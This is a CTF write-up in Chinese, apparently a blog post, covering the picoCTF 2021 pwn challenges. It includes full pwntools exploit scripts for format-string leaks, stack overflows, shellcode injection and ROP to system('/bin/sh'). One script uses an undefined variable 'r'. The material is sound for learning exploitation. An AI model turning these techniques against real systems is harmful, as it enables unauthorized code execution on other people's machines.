2021 Picoctf pwn部分wp

首先说一下,是参考了校内学长的复盘讲解hhh,这也是第一次直接接触在线的ctf而不是靶场。

Gauntlet1

在ida里面看一下。这三道Gauntlet都是一个类型的,漏洞都是一个格式化字符串+栈溢出。
在这里插入图片描述
在这里插入图片描述
那就很容易直接把shellcraft.sh()写道栈上,因为一开始给打印了背写区域的起始位置并且使可执行的栈,一溢出就会跳转到我们写的shellcraft上面执行。注意中间还要有个格式化字符串的额send,不要忘了,之前卡在这里好久啊。。。

exp

from pwn import *
context.arch = 'amd64'
context.log_level='debug'

io=process('./gauntlet1')
# io=remote('mercury.picoctf.net',24284)
# context.log_level='debug'
stack=int(io.recvline(),16)
# stack=hex(stack)
print "stack---->"+hex(stack)
io.sendline('a')
io.recv()

# gdb.attach(io,"b *0x40074D")
payload=asm(shellcraft.sh()).ljust(120,'a')
payload+=p64(stack)

io.sendline(payload)

io.interactive()

Gauntlet2

这题和上一题保护上没什么区别
在这里插入图片描述
只是不在给打印dst地址了,但是利用第一个格式化字符串漏洞可以泄露寄存器rsp的地址

Gauntlet3

这个题多加了一个栈不可执行保护。那么就用一般的格式化字符串流程,泄露一个标准库函数的加载地址,推算出libc基地址,再由基地址+偏移传递/bin/sh或者one_gardet到溢出位置getshell
这道题有一个比较坑的地方是格式化字符串不能直接打印libc库函数地址,并且没给libc。那就只能先寻找有偏移的了,一般找不到libc是先尝试UBUNTU18版本的,也就是2.27
这里学校学长用的是2.27-3ubuntu1.4_amd64
在这里插入图片描述
计算偏移量:可以根据栈上0的标志结合%p输出计算得到libc_start_main的偏移量为23。
输出一下
在这里插入图片描述
然后看看libc基址在什么位置被加载,则根据这两者之间的差也可以计算出偏移量
在这里插入图片描述因此偏移量为0x21bf7之后的所有加载偏移量都不会再改变了。
之后就可以使用one_gardet
在这里插入图片描述
选择其中一个尝试一下发现就能过了。当然如果都过不了就直接system再rop rdi“/bin/sh”。但总之感觉这里是已经知道libc版本才敢这样写,否则会很心虚。。。不过也可以远程打印验证

exp

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'


binary = ("./gauntlet")
elf = ELF(binary)
libc = elf.libc

r.sendline("%23$p")
a = int( r.recvline(), 16 ) - 0x21bf7 
info("libc: " + hex(a))
libc.address = a

onegadget = a + 0x4f432
payload = 'a'*0x78 + p64(onegadget)

r.sendline(payload)
r.interactive()

here’s libc

打开ida,看一眼,发现do_stuff函数
在这里插入图片描述
这里相当于两个get(s)可以直接溢出,所以能劫持程序流程。
第一次溢出泄露puts的加载地址,第二次用one_gardet即可
然而one_gardet尝试了都没有用,那就直接发system但是这里有一个栈平衡问题,加上一个ret即可

from pwn import *
context.log_level='debug'
io=process('./vuln')
elf=ELF('./vuln')
libc=ELF('./libc.so.6')

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
ret=0x000000000040052e

pop_rdi=0x0000000000400913
main=0x0000000000400771

io.recvline()

payload='a'*0x88+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload) # frist time overflow
io.recvline()
puts_addr = u64(io.recv(6).ljust(8,'\x00'))
print hex(puts_addr)
libc_addr=puts_addr-libc.sym['puts']
print "libc_addr----->"+hex(libc_addr)

# one_gardet is not useful
# one_gadget=0x10a45c+libc_addr




system=libc.sym['system']+libc_addr
bin_sh=libc.search('/bin/sh').next()+libc_addr

io.recvline()


payload2='a'*0x88+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)#keep stack balance

# gdb.attach(io,"b *0x000000000040076F")
io.sendline(payload2)

io.interactive()

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值